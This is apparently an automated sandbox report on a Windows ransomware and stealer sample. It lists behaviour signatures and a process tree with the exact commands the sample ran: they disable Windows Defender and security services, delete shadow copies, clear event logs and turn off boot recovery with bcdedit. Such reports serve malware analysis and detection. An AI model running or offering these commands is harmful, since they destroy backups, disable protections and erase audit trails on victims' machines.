Overview

overview

10

Static

static

7987a02005...2f.exe

windows7_x64

10

7987a02005...2f.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    17/02/2022, 10:21

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General

  • Target
    7987a020052048ad0ec8855c08df2f47c89922f.exe
  • Size 4.0MB
  • Sample220217-mdnnascagn
  • SHA256 eba2f0afd491ee595cd6908494e9e2a2115ed71c053c6d7b94970f1985830ada
  • MD5 SHA1 SHA512
Score
10/10
evasionransomwarespywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • Clears Windows event logs 1 TTPs
    evasionransomware
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Modifies extensions of user files 16 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies data under HKEY_USERS 51 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe
    "C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe"
    1⤵
    • Modifies extensions of user files
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3548
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3456
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:408
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3364
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:3268
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3508
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:1256
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2260
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:1676
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3848
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:1512
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1880
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:3968
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3672
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:3888
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_1ccfd" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2728
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_1ccfd" /y
                      3⤵
                        PID:3388
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                        PID:3568
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SDRSVC" start= disabled
                        2⤵
                          PID:1608
                        • C:\Windows\SYSTEM32\sc.exe
                          sc.exe config "SstpSvc" start= disabled
                          2⤵
                            PID:3248
                          • C:\Windows\SYSTEM32\sc.exe
                            sc.exe config "vmicvss" start= disabled
                            2⤵
                              PID:1776
                            • C:\Windows\SYSTEM32\sc.exe
                              sc.exe config "VSS" start= disabled
                              2⤵
                                PID:2880
                              • C:\Windows\SYSTEM32\sc.exe
                                sc.exe config "wbengine" start= disabled
                                2⤵
                                  PID:408
                                • C:\Windows\SYSTEM32\sc.exe
                                  sc.exe config "WebClient" start= disabled
                                  2⤵
                                    PID:1192
                                  • C:\Windows\SYSTEM32\sc.exe
                                    sc.exe config "UnistoreSvc_1ccfd" start= disabled
                                    2⤵
                                      PID:1288
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                      2⤵
                                        PID:2580
                                      • C:\Windows\SYSTEM32\reg.exe
                                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                        2⤵
                                          PID:1016
                                        • C:\Windows\SYSTEM32\reg.exe
                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                          2⤵
                                            PID:1460
                                          • C:\Windows\SYSTEM32\reg.exe
                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                            2⤵
                                              PID:972
                                            • C:\Windows\SYSTEM32\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                              2⤵
                                                PID:3648
                                              • C:\Windows\SYSTEM32\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:2960
                                                • C:\Windows\SYSTEM32\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                  2⤵
                                                    PID:2184
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:1800
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:1480
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:2164
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:1416
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:2500
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                              2⤵
                                                                PID:3516
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                2⤵
                                                                  PID:2764
                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:3928
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:1384
                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                      schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                      2⤵
                                                                        PID:3040
                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                        2⤵
                                                                          PID:2252
                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                          2⤵
                                                                            PID:3232
                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                            2⤵
                                                                              PID:3580
                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                              2⤵
                                                                                PID:2428
                                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                                reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                2⤵
                                                                                  PID:312
                                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                                  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                  2⤵
                                                                                    PID:3496
                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                    2⤵
                                                                                      PID:1548
                                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                                      reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                      2⤵
                                                                                        PID:3956
                                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                                        reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                        2⤵
                                                                                          PID:1336
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                            PID:3240
                                                                                          • C:\Windows\SYSTEM32\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:1200
                                                                                            • C:\Windows\SYSTEM32\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:3892
                                                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:2212
                                                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:2124
                                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                    • Modifies security service
                                                                                                    PID:544
                                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                      PID:1320
                                                                                                    • C:\Windows\SYSTEM32\vssadmin.exe
                                                                                                      vssadmin.exe delete shadows /all /quiet
                                                                                                      2⤵
                                                                                                      • Interacts with shadow copies
                                                                                                      PID:3452
                                                                                                    • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                      wevtutil.exe cl system
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:2308
                                                                                                    • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                      wevtutil.exe cl security
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:2208
                                                                                                    • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                      wevtutil.exe cl application
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1852
                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                      wmic.exe SHADOWCOPY /nointeractive
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1484
                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                      wmic.exe shadowcopy delete
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:760
                                                                                                    • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                      bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                                                      2⤵
                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                      PID:3036
                                                                                                    • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                      bcdedit.exe /set {default} recoveryenabled no
                                                                                                      2⤵
                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                      PID:2996
                                                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                                                      cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                      2⤵
                                                                                                        PID:3304
                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                        2⤵
                                                                                                          PID:2956
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:3880
                                                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                                                          cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                          2⤵
                                                                                                            PID:4184
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                              3⤵
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:4228
                                                                                                        • C:\Windows\system32\MusNotifyIcon.exe
                                                                                                          %systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
                                                                                                          1⤵
                                                                                                          • Checks processor information in registry
                                                                                                          PID:2136
                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                          C:\Windows\System32\svchost.exe -k NetworkService -p
                                                                                                          1⤵
                                                                                                          • Drops file in Windows directory
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:4380
                                                                                                        • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                          C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                          1⤵
                                                                                                          • Drops file in Windows directory
                                                                                                          PID:4576

                                                                                                        Network

                                                                                                              MITRE ATT&CK Enterprise v6

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                                                                                                              Downloads

                                                                                                              memory/3880-134-0x00000221ECC90000-0x00000221ECCB2000-memory.dmp
                                                                                                              Download

                                                                                                              memory/3880-137-0x00000221EBAF3000-0x00000221EBAF5000-memory.dmp
                                                                                                              Download

                                                                                                              memory/3880-139-0x00000221EC6B3000-0x00000221EC6B5000-memory.dmp
                                                                                                              Download

                                                                                                              memory/3880-138-0x00000221EC6B0000-0x00000221EC6B2000-memory.dmp
                                                                                                              Download

                                                                                                              memory/3880-140-0x00000221EC6B6000-0x00000221EC6B8000-memory.dmp
                                                                                                              Download

                                                                                                              memory/3880-141-0x00000221EC6B8000-0x00000221EC6B9000-memory.dmp
                                                                                                              Download